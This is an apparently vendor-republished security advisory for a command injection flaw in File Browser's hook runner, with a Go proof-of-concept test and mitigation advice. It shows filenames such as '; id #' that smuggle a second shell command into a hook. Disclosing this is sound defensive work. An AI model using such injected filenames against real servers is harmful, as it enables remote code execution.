GHSA-jvpw-637p-h3pw
HIGHGHSA-jvpw-637p-h3pw is a high-severity (CVSS 7.2) OS Command Injection vulnerability in github.com/filebrowser/filebrowser/v2. O3 Security confirms whether GHSA-jvpw-637p-h3pw is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
File Browser has a Command Injection via Hook Runner
Real-World Exposure
github.com/filebrowser/filebrowser/v2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.
For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.
Overview
The hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like $FILE and $USERNAME is performed via os.Expand without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in Remote Code Execution (RCE).
Affected Location
- File:
runner/runner.go - Function:
Runner.exec
Technical Details
Runner.exec expands template variables inside hook command strings using os.Expand:
// runner/runner.go
envMapping := func(key string) string {
switch key {
case "FILE":
return path // attacker-controlled filename
case "USERNAME":
return username // attacker-controlled username
// ...
}
}
for i, arg := range command {
if i == 0 { continue }
command[i] = os.Expand(arg, envMapping) // expands $FILE, $USERNAME, etc.
}
The expanded value is then passed as a shell argument string. os.Expand performs plain string substitution with no escaping. If an admin has configured a hook such as:
sh -c "echo created $FILE"
...and an attacker creates a file named ; id #, the variable expansion produces:
sh -c "echo created /path/to/; id #"
The ; terminates the echo command and the shell executes id with server privileges. The # character comments out the remainder, preventing syntax errors.
This pattern is exploitable across all hook events: before_upload, after_upload, before_rename, after_rename, before_delete, after_delete, etc.
Attack Scenario / Reproduction Steps
- Admin configures an
after_uploadhook:sh -c "echo created $FILE". - The attacker (authenticated user with upload permission) uploads a file named
; id #. - The upload succeeds and the hook fires automatically.
- The server executes:
sh -c "echo created /uploads/; id #" - The
idcommand runs, confirming RCE.
Impact
Any authenticated user with file create, upload, or rename permissions can achieve arbitrary RCE on the server when shell-based hooks are configured. The attacker does not need to know the exact hook command — any hook that embeds $FILE in a shell string is exploitable by crafting the filename accordingly.
Proof of Concept
package runner
import (
"os"
"testing"
"github.com/filebrowser/filebrowser/v2/settings"
)
func TestPoC_FileHookInjection(t *testing.T) {
// Simulate an admin-configured shell-based hook
r := &Runner{
Enabled: true,
Settings: &settings.Settings{
Shell: []string{"sh", "-c"},
Commands: map[string][]string{
"after_upload": {"echo Uploaded $FILE"},
},
},
}
// Malicious filename crafted by the attacker
maliciousFilename := "/tmp/safe; id #"
// Simulate the exec logic in runner/runner.go
raw := r.Commands["after_upload"][0]
command, _, _ := ParseCommand(r.Settings, raw)
envMapping := func(key string) string {
if key == "FILE" {
return maliciousFilename
}
return os.Getenv(key)
}
for i, arg := range command {
if i == 0 {
continue
}
// os.Expand substitutes $FILE with the attacker-controlled filename —
// no escaping is applied, so shell metacharacters pass through unchanged.
command[i] = os.Expand(arg, envMapping)
}
// The resulting command argument is the injected shell script:
// sh -c "echo Uploaded /tmp/safe; id #"
expectedArg := "echo Uploaded /tmp/safe; id #"
if command[2] != expectedArg {
t.Errorf("Expected command argument %q, got %q", expectedArg, command[2])
}
t.Logf("Confirmed: filename injection succeeded. Shell will execute: %v", command)
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/filebrowser/filebrowser/v2 | all versions | 2.33.8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/filebrowser/filebrowser/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/filebrowser/filebrowser/v2 to 2.33.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jvpw-637p-h3pw is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-jvpw-637p-h3pw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-jvpw-637p-h3pw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jvpw-637p-h3pw in your dependencies?
O3 detects GHSA-jvpw-637p-h3pw across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.